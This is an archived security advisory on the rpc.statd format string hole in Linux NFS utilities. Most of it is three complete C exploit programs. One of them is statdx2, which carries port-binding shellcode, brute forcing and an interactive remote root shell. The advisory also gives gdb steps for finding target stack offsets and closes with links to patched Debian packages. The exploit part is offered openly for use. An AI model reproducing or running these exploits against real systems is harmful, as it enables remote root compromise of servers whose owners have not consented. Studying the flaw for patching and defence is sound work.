COMMAND

    rpc.statd

SYSTEMS AFFECTED

    Many systems

PROBLEM

    Daniel Jacobowitz found following.   Attached is an exploit.   The
    offsets are for Linux/PowerPC,  Debian 2.2.  It  isn't functional,
    though - and it's more than just kiddy-proofed.  You'll need three
    things:

    (A) shellcode.   There's two  or three  published; Daniel's  isn't
        quite ready for public consumption.
    (B) sm_inter.x from the nfs-utils source
    (C) A way to flush the cache before running code.  PowerPC (recent
        CPUs, at  least) has  a separate  data and  instruction cache.
        If  you  use  this  exploit  as  is,  with gdb attached to the
        process, single stepping, it  will work.  If  you run it on  a
        remote machine, it won't.   Why not?  Because  the code is  on
        the  stack,  which  remains  in  the  data cache, and then the
        icache loads  the old  contents of  the stack  when you branch
        there!  There are several solutions to this.

    You may also need to change the offsets.  The exploit says all  it
    needs to say without hand-holding

    Chris Evans  added following.   The severity  of this  hole,  i.e.
    remote root, is much  greater than it should  be.  All the  stupid
    daemon does is listen to requests  on a network, and manage a  few
    files.  Call the UNIX  security model non-granular, and poor,  but
    there's no way you need root to do that.

    It's true that it requires a low-port (i.e. privileged) socket  to
    send data on, as a way  of gaining the trust of the  remote (where
    remote  is   often  the   localhost).   However,   since  it's   a
    connectionless  UDP  socket,  you  can  launch the daemon as root,
    grab the  socket, and  drop root.   Furthermore, the  daemon is  a
    prime candidate for chroot()'ing, but this is not done.  The above
    plus  a  chroot()  would  limit  the  severity  of  this hole to a
    non-root  shell  without  the   ability  to  raise  privilege   by
    exec()'ing any suid-root binaries.

    Code:

    /*
     * Slightly dysfunctional rpc.statd exploit
     *  for all the dysfunctional script kiddies out there
     *
     * Author: drow, 07/2000
     *
     * And just for kicks...
     * Greets:
     *  Chris Evans, whose fault all this is
     *  whoever wrote the old solaris statd exploit I ripped the RPC code out of
     *  <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
     *  and THEM (THEY know who THEY are)
     *
     *
     * This is dedicated to Joel Klecker.  Those who knew him know why.
     *
     */

    #include <sys/types.h>
    #include <sys/time.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <rpcsvc/sm_inter.h>
    #include <sys/socket.h>

    void usage(char *s) {
      printf("Usage: %s host [-nopoke]\n", s);
      exit(0);
    }

    extern char shell[];

    main(int argc, char *argv[]) {
      CLIENT *cl;
      enum clnt_stat stat;
      struct timeval tm;
      struct mon monreq;
      struct sm_stat_res monres;
      struct hostent *hp;
      struct sockaddr_in target;
      int sd, i, noplen=strlen(nop), nopoke=0;
      char *ptr=code, *p2, code[4096];

      if (argc < 2)
        usage(argv[0]);
      if (argc > 2)
        nopoke = 1;

      /* Alignment */
      strcpy(ptr, "AAA");
      ptr += strlen(ptr);

      /* Target to write to! */
      *(unsigned long *)(ptr) = 0x7fffeb04;
      ptr += sizeof(unsigned long);

      /* pad */
      *(unsigned long *)(ptr) = 0x11111111;
      ptr += sizeof(unsigned long);

      /* Target Two (two higher in memory probably) */
      *(unsigned long *)(ptr) = 0x7fffeb06;
      ptr += sizeof(unsigned long);

      for(i = 0; i < 46-1; i++) {
        strcpy(ptr, "%12d");
        ptr += strlen(ptr);
      }

    if(!nopoke) {
      /* Value to write - amount written */
      /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
      /* Don't correct for IP address!  Forced to localhost by stat code - same length. */
    #define HIGH 0x7fff
    #define LOW 0xeecc
      sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
  	      - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
      ptr += strlen(ptr);

      sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
      ptr += strlen(ptr);

      /* CODE */
      p2 = shell;
      while(*p2)
        *(ptr++) = *(p2++);
    }
      *(ptr++) = 0;

      memset(&monreq, 0, sizeof(monreq));
      monreq.mon_id.my_id.my_name="localhost";
      monreq.mon_id.my_id.my_prog=0;
      monreq.mon_id.my_id.my_vers=0;
      monreq.mon_id.my_id.my_proc=0;
      monreq.mon_id.mon_name= code  /*code*/;

      if ((hp=gethostbyname(argv[1])) == NULL) {
        printf("Can't resolve %s\n", argv[1]);
        exit(0);
      }
      target.sin_family=AF_INET;
      target.sin_addr.s_addr=*(u_long *)hp->h_addr;
      target.sin_port=0;    /* ask portmap */
      sd=RPC_ANYSOCK;

      tm.tv_sec=10;
      tm.tv_usec=0;
      if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
        clnt_pcreateerror("clnt_create");
        exit(0);
      }
      stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                    (char *)&monres, tm);
      if (stat != RPC_SUCCESS)
        clnt_perror(cl, "clnt_call");
      else
        printf("stat_res = %d.\n", monres.res_stat);
      clnt_destroy(cl);
    }

    Another code (this one's for Linux):

    /*
     * rpc.statd remote root xploit for linux/x86
     * based on the xploit made by drow for linux/PowerPC
     *
     * Author: Doing, 08/2000
     *
     * NOTE:
     * The guest of the remote address of the saved EIP and local vars
     * is still a problem. The value showed on the usage worked
     * fine on mi suse with the compiled sources. With gdb and a little
     * patience you should get the address for your distro/version.
     * Some address doesn't work, because they cause a very long result,
     * and the syslog() function overflows itself when parsing the
     * format input :(
     *
     * Greetz to Pascal Bouchareine for that great paper on format bugs :)
     *
     * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
     *
     * Excuse my poor english :-)
     *
     */

    #include <sys/types.h>
    #include <sys/time.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <rpcsvc/sm_inter.h>
    #include <sys/socket.h>

    void usage(char *s) {
      printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n");
      printf("Usage: %s host address command\n", s);
      printf("host\t: the targe host\n");
      printf("address\t: the address of the buffer in function log()\n");
      printf("command\t: command to run remotely\n\n");
      printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display 127.0.0.1:0\"\n\n", s);
      printf("Enjoy!\n");
      exit(0);
    }

    /*
       shellcode without cr/lf and control caracters
    */
    char *code =
    "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
    "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
    "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
    "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
    "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
    "\xff\xff/bin/sh -c ";

    char shellcode[4096];

    void make_shellcode(char *cdir, char *cmd)
    {
      unsigned long dir, ret;
      int c, eat = 14;
      int first_n = 0xc9;
      char tmp[1024];
      int i, i0, i1, i2;
      char *ptr = shellcode;

      memset(shellcode, 0, 4096);

      sscanf(cdir, "%x", &dir);

      ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */

      dir += 1028;  /*  dir = address of saved EIP = address of buffer + 1024 bytes of buffer + 4 bytes of SFP */

      ptr = &shellcode[strlen(shellcode)];
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      dir++;
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      dir++;
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      dir++;
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];
      sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	     (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
      ptr = &shellcode[strlen(shellcode)];

      for ( c = 0; c < eat; c++) {
        sprintf(ptr, "%%x ");
        ptr = &shellcode[strlen(shellcode)];
      }

      i0 = (ret & 0xff);
      if (i0 > first_n)  sprintf(ptr, "%%0%ix%%n", i0 - first_n);
      if (i0 == first_n) sprintf(ptr, "%%n");
      if (i0 < first_n)  {
        i0 |= 0x0100;
        sprintf(ptr, "%%0%ix%%n", i0 - first_n);
      }
      ptr = &shellcode[strlen(shellcode)];


      i = (ret & 0xff00) >> 8;
      if (i > i0)  sprintf(ptr, "%%0%ix%%n", i - i0);
      if (i == i0) sprintf(ptr, "%%n");
      if (i < i0) {
        i |= 0x0100;
        sprintf(ptr, "%%0%ix%%n", i - i0);
      }
      ptr = &shellcode[strlen(shellcode)];


      i1 = (ret & 0xff0000) >> 16;
      if (i1 > i)  sprintf(ptr, "%%0%ix%%n", i1 - i);
      if (i1 == i) sprintf(ptr, "%%n");
      if (i1 < i) {
        i1 |= 0x0100;
        sprintf(ptr, "%%0%ix%%n", i1 - i);
      }
      ptr = &shellcode[strlen(shellcode)];


      i2 = (ret & 0xff000000) >> 24;
      i2 |= 0x0200;
      sprintf(ptr, "%%0%ix%%n", i2 - i1);
      ptr = &shellcode[strlen(shellcode)];


      for (c = 0; c < 50; c++) {
        sprintf(ptr, "\x90");
        ptr = &shellcode[strlen(shellcode)];
      }
      sprintf(ptr, "%s%s\x00", code, cmd);
    }

    main(int argc, char *argv[]) {
      CLIENT *cl;
      enum clnt_stat stat;
      struct timeval tm;
      struct mon monreq;
      struct sm_stat_res monres;
      struct hostent *hp;
      struct sockaddr_in target;
      int sd, i;

      if (argc < 4)
        usage(argv[0]);

      make_shellcode(argv[2], argv[3]);

      memset(&monreq, 0, sizeof(monreq));
      monreq.mon_id.my_id.my_name ="localhost";
      monreq.mon_id.my_id.my_prog = 0;
      monreq.mon_id.my_id.my_vers = 0;
      monreq.mon_id.my_id.my_proc = 0;
      monreq.mon_id.mon_name = shellcode;

      if ((hp=gethostbyname(argv[1])) == NULL) {
        printf("Can't resolve %s\n", argv[1]);
        exit(0);
      }
      target.sin_family=AF_INET;
      target.sin_addr.s_addr=*(u_long *)hp->h_addr;
      target.sin_port=0;    /* ask portmap */
      sd = RPC_ANYSOCK;

      tm.tv_sec=10;
      tm.tv_usec=0;
      if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
        clnt_pcreateerror("clnt_create");
        exit(0);
      }
      stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                    (char *)&monres, tm);
      if (stat != RPC_SUCCESS)
        clnt_perror(cl, "clnt_call");
      else
        printf("stat_res = %d.\n", monres.res_stat);
      clnt_destroy(cl);
    }

    To compile the exploit you need the librpcsvc library:

        gcc statd.c -o statd -lrpcsvc

    Way of finding offsets for your distro/version.  Launch statd  and
    attach it with gdb:

        [root@localhost statd]# ./statd
        [root@localhost statd]# ps aux | grep st
        root       394  0.0  0.9  1184   576  ?  S    15:27   0:00 ./statd
        [root@localhost statd]# gdb ./statd
        GNU gdb 4.18
        [ cut    cut    cut    cut   ]
        (gdb) attach 394
        Attaching to program:
        /zecreto/doing/xploits/daemon/rpc.statd/knfsd-1.3.2/utils/statd/./statd,
        process 394

        [ Now put a breakpoint on the function log() ]
        (gdb) break log
        Breakpoint 1 at 0x804a10a: file log.c, line 82.
        (gdb) c
        Continuing.

        [ At this point run the xploit ]
        Breakpoint 1, log (level=2, fmt=0x804c820 "SM_MON request for hostname
        containing '/': %s") at log.c:82
        82          va_start(ap, fmt);

        [ And put another breakpoint in the function syslog() ]
        (gdb) break syslog
        Breakpoint 2 at 0x400d12e6: file syslog.c, line 102.
        (gdb) c
        Continuing.

        Breakpoint 2, syslog (pri=2,
            fmt=0xbfffef38 "SM_MON request for hostname containing '/':
        [garbage]..)
                 ^^^^^^^^^

    This is the  address of the  buffer in function  log.  If  you run
    the exploit with this value it should work.

    Had enough?  Ok, here comes another one by ron1n...  Included
    below is an exploit for the recently exposed linux rpc.statd
    format string vulnerability[0].

    /**
    *** statdx2 (the successor of statdx)
    *** Linux rpc.statd remote root exploit
    *** by ron1n <shellcode@hotmail.com>
    *** October 10, 2000
    ***
    *** $ ./statdx2 -h
    ***
    *** This version supersedes my original release. The reason I chose to
    *** resurrect this stale exploit is so the new incarnation would contain
    *** many improvements over the first version.
    ***
    *** There are major changes in the algorithm used in the exploit buffer
    *** construction. The format string now uses "%hn" to eradicate several
    *** rare but possible problems. I didn't know about the "$" trick when I
    *** wrote statdx. Even though it seems to be the new trend, I decided to
    *** ignore it for this particular exploit. An additional payload has been
    *** added to allow remote execution of arbitrary commands. This should help
    *** when the port-binding code can't be used.
    ***
    *** There is now primitive brute forcing code which slightly increases
    *** your chances of a successful exploitation against any vulnerable i386
    *** distribution of Linux. In order to implement this, the attack strategy
    *** had to be altered. A progressive brute force climb down the stack to
    *** hit the correct address of the saved return address will cause problems
    *** when the saved frame pointer is overwritten. Instead, an overwrite of
    *** the saved frame pointer is used to cause redirection in the parent
    *** epilog code (see phrack-55). This is much safer to use for brute
    *** forcing and has the side benefit of being an alternative avenue of
    *** attack when the usual target address contains a null byte. The null
    *** byte truncation problem still exists when brute forcing though, so
    *** use common sense.
    ***
    *** The information below is based on numerous questions I receive.
    ***
    *** common reasons for failure
    *** --------------------------
    *** o   Confusing statd with rstatd.
    *** o   Attacking an architecture that isn't i386.
    *** o   Attacking an operating system that isn't Linux.
    *** o   Attacking a different distribution of Linux with the
    ***     default Redhat exploitation variables.
    *** o   Attacking a system whose statd has crashed because of
    ***     previous exploitation attempts, successful or not.
    ***     The portmapper will still advertise statd even though
    ***     it will remain dead until restarted.
    *** o   Attacking a patched system or a system with stack
    ***     protection. Stack protection will defeat this exploit.
    ***     I have seen a way to deliver the shellcode elsewhere
    ***     using a different procedure call, but I am not going
    ***     to steal that idea.
    ***
    *** important notes
    *** ---------------
    *** o   The attack may be logged in syslog target locations.
    *** o   Statd is a standalone service; be careful. Brute
    ***     forcing can be fatal. In fact, it's highly probable
    ***     that it will be fatal. The brute force mode exists
    ***     only to introduce a behavior-based form of blind
    ***     debugging with crashes mapping stack frames. This is
    ***     very difficult to do and it requires patience, but
    ***     it can be done.
    *** o   The nature of the vulnerability provides no means
    ***     to examine the stack remotely, afaik. If anyone
    ***     wants to drop me a free clue about this, email me.
    ***
    *** dotslash examples
    *** -----------------
    *** # default Redhat attack
    *** $./statdx2 -d0 target
    *** # default Redhat attack; new payload
    *** $./statdx2 -d0 -c "touch /blah" target
    *** # saved ebp overwrite (used automatically when desirable)
    *** $./statdx2 -a 0xbffff2fc -f target
    *** # brute force mode -- 50 iterations (-f option implied)
    *** $./statdx2 -a 0xbffff004 -n 50 -s 20 target
    ***
    **/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    #define SM_PROG 100024
    #define SM_VERS 1
    #define SM_STAT 1
    #define SM_MAXSTRLEN 1024
    
    #define PROCSTR 24
    #define max(a,b) ((a)>(b)?(a):(b))
    
    enum res { stat_succ, stat_fail };
    struct sm_name { char *mon_name; };
    struct sm_stat_res { enum res res_stat; int state; };
    
    int usefp;              /* 0 = saved eip ; 1 = saved ebp */
    char *command = NULL;   /* command to execute on target  */
    
    char exec[] = /* any command */
    "\xeb\x2d\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x89\x76"
    "\x0f\x80\x46\x0f\x08\x89\x76\x13\x80\x46\x13\x1b\x89\x46\x17\x8d"
    "\x56\x17\x8d\x4e\x0b\x89\xf3\xb0\x0b\xcd\x80\xb0\x01\xcd\x80\xe8"
    "\xce\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x5f\x2d\x63\x5f\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
    
    char port[] = /* port 39168 */
    "\x31\xc0\xeb\x7c\x59\x89\x41\x10\x89\x41\x08\xfe\xc0\x89\x41\x04"
    "\x89\xc3\xfe\xc0\x89\x01\xb0\x66\xcd\x80\xb3\x02\x89\x59\x0c\xc6"
    "\x41\x0e\x99\xc6\x41\x08\x10\x89\x49\x04\x80\x41\x04\x0c\x88\x01"
    "\xb0\x66\xcd\x80\xb3\x04\xb0\x66\xcd\x80\xb3\x05\x30\xc0\x88\x41"
    "\x04\xb0\x66\xcd\x80\x89\xce\x88\xc3\x31\xc9\xb0\x3f\xcd\x80\xfe"
    "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xc7\x06\x2f\x62\x69"
    "\x6e\xc7\x46\x04\x2f\x73\x68\x41\x30\xc0\x88\x46\x07\x89\x76\x0c"
    "\x8d\x56\x10\x8d\x4e\x0c\x89\xf3\xb0\x0b\xcd\x80\xb0\x01\xcd\x80"
    "\xe8\x7f\xff\xff\xff";
    
    struct type
    {
        int type;
        char *desc, *code;
        u_long bufpos;
        int buflen, offset, wipe;
    };
    
    struct type types[] =
    {
        {0, "Redhat Linux 6.2/6.1/6.0", port, 0xbffff314, 1024, 600, 9},
        {0, NULL, NULL, 0, 0, 0, 0}
    };
    
    bool_t
    xdr_sm_name(XDR *xdrs, struct sm_name *objp)
    {
        if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
            return (FALSE);
        return (TRUE);
    }
    
    bool_t
    xdr_res(XDR *xdrs, enum res *objp)
    {
        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
    }
    
    bool_t
    xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
    {
        if (!xdr_res(xdrs, &objp->res_stat))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->state))
            return (FALSE);
        return (TRUE);
    }
    
    void
    usage(char *app)
    {
        int i;
    
        fprintf(stderr, "statdx2 by ron1n <shellcode@hotmail.com>\n");
        fprintf(stderr, "Usage: %s [options] target\n", app);
        fprintf(stderr, "Available options:\n");
        fprintf(stderr, "->\t<argument required> [default behavior]\n");
        fprintf(stderr, "-t\tattack the server using tcp [udp]\n");
        fprintf(stderr, "-p\t<port statd listens on> [query]\n");
        fprintf(stderr, "-a\t<stack address of the buffer>\n");
        fprintf(stderr, "-l\t<length of the buffer> [1024]\n");
        fprintf(stderr, "-o\t<offset from buffer> [600]\n");
        fprintf(stderr, "-w\t<number of words to wipe> [9]\n");
        fprintf(stderr, "-s\t<timeout in seconds> [5]\n");
        fprintf(stderr, "-n\t<brute force mode count> [1]\n");
        fprintf(stderr, "-f\tattack saved ebp [saved eip]\n");
        fprintf(stderr, "-c\t<\"command to execute\"> [portbind]\n");
        fprintf(stderr, "-d\tuse a hardcoded <type>\n");
        fprintf(stderr, "Available types:\n");
    
        for(i = 0; types[i].desc; i++)
            fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);
    
        exit(EXIT_FAILURE);
    }
    
    struct in_addr
    getip(char *host)
    {
        struct hostent *hs;
    
        if((hs = gethostbyname(host)) == NULL)
        {
            herror("gethostbyname()");
            exit(EXIT_FAILURE);
        }
    
        return *((struct in_addr *) hs->h_addr);
    }
    
    void
    runshell(int sockd)
    {
        char buff[1024];
        int fmax, ret;
        fd_set fds;
    
        fmax = max(fileno(stdin), sockd) + 1;
        send(sockd, "cd /;ls -alF;w;uname -a;id\n", 27, 0);
    
        for(;;)
        {
            FD_ZERO(&fds);
            FD_SET(fileno(stdin), &fds);
            FD_SET(sockd, &fds);
    
            if(select(fmax, &fds, NULL, NULL, NULL) < 0)
            {
                perror("select()");
                exit(EXIT_FAILURE);
            }
    
            if(FD_ISSET(sockd, &fds))
            {
                bzero(buff, sizeof buff);
                if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
                {
                    perror("recv()");
                    exit(EXIT_FAILURE);
                }
                if(!ret)
                {
                    fprintf(stderr, "Connection closed\n");
                    exit(EXIT_FAILURE);
                }
                write(fileno(stdout), buff, ret);
            }
    
            if(FD_ISSET(fileno(stdin), &fds))
            {
                bzero(buff, sizeof buff);
                ret = read(fileno(stdin), buff, sizeof buff);
                errno = 0;
                if(send(sockd, buff, ret, 0) != ret)
                {
                    if(errno) perror("send()");
                    else fprintf(stderr, "Transmission loss\n");
                    exit(EXIT_FAILURE);
                }
            }
        }
    }
    
    void
    checkshell(struct sockaddr_in host)
    {
        int sockd;
    
        host.sin_port = htons(39168);
    
        if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        {
            perror("socket()");
            exit(EXIT_FAILURE);
        }
    
        if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
        {
            printf("Owned?!\n");
            runshell(sockd);
        }
    
        close(sockd);
    }
    
    char *
    buildex(char *sc, u_long bufpos, int buflen, int offset, int wipe)
    {
        int i, j, elen;
        char *buff, *ptr;
        u_long retpos, dstpos, cnt, pad;
    
        retpos = bufpos + buflen + 4;
        dstpos = bufpos + offset;
        elen   = buflen - PROCSTR - 1;
        cnt    = PROCSTR;
    
        if(!(retpos & 0xff)) usefp = 1;
        if(usefp) retpos -= 4;
    
        if(!(ptr = buff = malloc(elen + 1)))
        {
            perror("malloc()");
            exit(EXIT_FAILURE);
        }
    
        for(i = 0; i < 4; i += 2)
        {
            for(j = 0; j < 4; j++)
                *ptr++ = retpos + i >> j * 8 & 0xff;
            memcpy(ptr, ptr - 4, 4);
            ptr += 4; cnt += 8;
        }
    
        for(i = 0; i < wipe; i++)
        {
            strncpy(ptr, "%8x", 3);
            ptr += 3; cnt += 8;
        }
    
        /* this should fix the sloppy bugs in statdx */
        pad = (dstpos & 0xffff) - cnt;
        ptr += sprintf(ptr, "%%%ldx%%hn", pad);
        pad = (dstpos >> 16 & 0xffff) + 0x10000 - cnt - pad;
        ptr += sprintf(ptr, "%%%ldx%%hn", pad);
    
        memset(ptr, 0x90, elen - strlen(buff));
        buff[elen] = '\0';
    
        /* parent function epilog hijack */
        if(usefp)
        {
            ptr = buff + offset - PROCSTR + 4;
            for(j = 0; j < 4; j++)
                *ptr++ = dstpos + 8 >> j * 8 & 0xff;
        }
    
        if(command)
        {
            memcpy(buff + elen - strlen(sc) - strlen(command), sc, strlen(sc));
            memcpy(buff + elen - strlen(command), command, strlen(command));
        }
        else
            memcpy(buff + elen - strlen(sc), sc, strlen(sc));
    
        printf("wiping:  %d\n", wipe);
        printf("buffer:  %#lx/%d/%d\n", bufpos, buflen, strlen(buff));
        printf("target:  %#lx --> %#lx/buffer[%d]\n", retpos, dstpos, offset);
        printf("method:  %s\n", usefp ? "frame pointer" : "return address");
        printf("command: %s\n", command ? command : "<portbind>");
        printf("--\n");
        return buff;
    }
    
    int
    main(int argc, char **argv)
    {
        int ch;
        char *buff;
    
        CLIENT *clnt;
        enum clnt_stat res;
        struct timeval tv, tvr;
        struct sm_name smname;
        struct sm_stat_res smres;
        struct sockaddr_in addr;
    
        int type = -1;
        int usetcp = 0;
        int brutecnt = 1;
        int timeout = 5;
        int wipe = 9;
        int offset = 600;
        int buflen = 1024;
        char *target;
        char *sc = port;
        u_short port = 0;
        u_long bufpos = 0;
    
        int sockp = RPC_ANYSOCK;
    
        extern char *optarg;
        extern int optind;
        extern int opterr;
        opterr = 0;
    
        while((ch = getopt(argc, argv, "tp:a:l:o:w:s:n:fc:d:h")) != -1)
        {
            switch(ch)
            {
                case 't': usetcp = 1; break;
                case 'p': sscanf(optarg, "%hu", &port); break;
                case 'a': sscanf(optarg, "%lx", &bufpos); break;
                case 'l': buflen = atoi(optarg); break;
                case 'o': offset = atoi(optarg); break;
                case 'w': wipe = atoi(optarg); break;
                case 's': timeout = atoi(optarg); break;
                case 'n': brutecnt = atoi(optarg); /* FALL */
                case 'f': usefp = 1; break;
                case 'c': command = optarg; sc = exec; break;
                case 'd': type = atoi(optarg); break;
                case 'h':
                default : usage(argv[0]);
            }
        }
    
        if(!(target = argv[optind]))
        {
            fprintf(stderr, "No target host specified\n");
            exit(EXIT_FAILURE);
        }
    
        if(type >= 0)
        {
            if(type >= sizeof types / sizeof types[0] - 1)
            {
                fprintf(stderr, "Invalid type\n");
                exit(EXIT_FAILURE);
            }
            sc = types[type].code;
            bufpos = types[type].bufpos;
            buflen = types[type].buflen;
            offset = types[type].offset;
            wipe = types[type].wipe;
        }
    
        if(!bufpos)
        {
            fprintf(stderr, "No buffer address specified\n");
            exit(EXIT_FAILURE);
        }
    
        bzero(&addr, sizeof addr);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);
        addr.sin_addr = getip(target);
        tv.tv_sec = timeout;
        tv.tv_usec = 0;
    
        if(usetcp)
        {
            clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
            if(clnt == NULL)
            {
                clnt_pcreateerror("clnttcp_create()");
                exit(EXIT_FAILURE);
            }
        }
        else
        {
            clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
            if(clnt == NULL)
            {
                clnt_pcreateerror("clntudp_create()");
                exit(EXIT_FAILURE);
            }
            tvr.tv_sec = 2;
            tvr.tv_usec = 0;
            clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
        }
    
        clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
    
        while(brutecnt--)
        {
            buff = buildex(sc, bufpos, buflen, offset, wipe);
            smname.mon_name = buff;
            res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
                    (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
                    (caddr_t) &smres, tv);
    
            if(res != RPC_SUCCESS)
            {
                clnt_perror(clnt, "clnt_call()");
                if(res == RPC_TIMEDOUT)
                {
                    printf("A timeout was expected. Exploitation succeeded?\n");
                    if(!command) { checkshell(addr); printf("Nope, sorry\n"); }
                }
                break;
            }
            else
            {
                printf("Failed - statd returned res_stat: (%s) state: %d\n",
                        smres.res_stat ? "failure" : "success", smres.state);
            }
    
            free(buff);
            bufpos += 4;
        }
    
        clnt_destroy(clnt);
        exit(EXIT_SUCCESS);
    }

    Few tips:

        ***************************************************************
        OKAY, BEFORE YOU DO THIS, ENSURE THAT STATD IS RUNNING
        (YOU'LL WANT IT STARTED AT BOOT TIME 99% OF THE TIME)
        ***************************************************************
        # gdb -q --exec=/sbin/rpc.statd
        (gdb) shell pidof rpc.statd
        30588
        (gdb) attach 30588
        Attaching to program: /sbin/rpc.statd, Pid 30588
        Error reading attached process's symbol file.
        "/usr/local/bin/": can't read symbols: Is a directory.
        Reading symbols from /lib/libc.so.6...done.
        Reading symbols from /lib/ld-linux.so.2...done.
        Reading symbols from /lib/libnss_files.so.2...done.
        Reading symbols from /lib/libnss_nisplus.so.2...done.
        Reading symbols from /lib/libnsl.so.1...done.
        Reading symbols from /lib/libnss_nis.so.2...done.
        Reading symbols from /lib/libnss_dns.so.2...done.
        Reading symbols from /lib/libresolv.so.2...done.
        0x400c517e in __select () from /lib/libc.so.6
        (gdb) break vsnprintf
        Breakpoint 1 at 0x4006c6c4: file vsnprintf.c, line 109.
        ***************************************************************
        AFTER YOU SET THE BREAKPOINT, DO THE FOLLOWING FROM TERM 2:
        $ ./statdx2 -a 0x41414141 localhost
        ***************************************************************
        (gdb) c
        Continuing.
        
        Breakpoint 1, 0x4006c6c4 in _IO_vsnprintf (string=0xbffff094 '\220' <repeats 200 times>...,
            maxlen=1024, format=0x804bfc9 "gethostbyname error for %s", args=0xbffff4a4) at vsnprintf.c:109
        ****************************************************************
        IN THE ABOVE EXAMPLE, 0xbffff094 IS THE ADDRESS YOU'LL NEED
        ****************************************************************
        109	vsnprintf.c: No such file or directory.
        (gdb) quit
        The program is running.  Quit anyway (and detach it)? (y or n) y
        Detaching from program: /sbin/rpc.statd, Pid 30588

SOLUTION

    The current version of statd does not have these problems, for  at
    least the past  two weeks (current  version at time  of writing is
    0.1.9.1).  Fixed Debian  packages are available for  alpha, sparc,
    powerpc, and i386:

        http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.tar.gz
        http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.dsc
        http://http.us.debian.org/debian/dists/potato/main/binary-alpha/net/nfs-common_0.1.9.1-1.deb
        http://http.us.debian.org/debian/dists/potato/main/binary-i386/net/nfs-common_0.1.9.1-1.deb
        http://http.us.debian.org/debian/dists/potato/main/binary-powerpc/net/nfs-common_0.1.9.1-1.deb
        http://http.us.debian.org/debian/dists/potato/main/binary-sparc/net/nfs-common_0.1.9.1-1.deb

        http://http.us.debian.org/debian/dists/unstable/main/source/net/nfs-utils_0.1.9.1-1.tar.gz
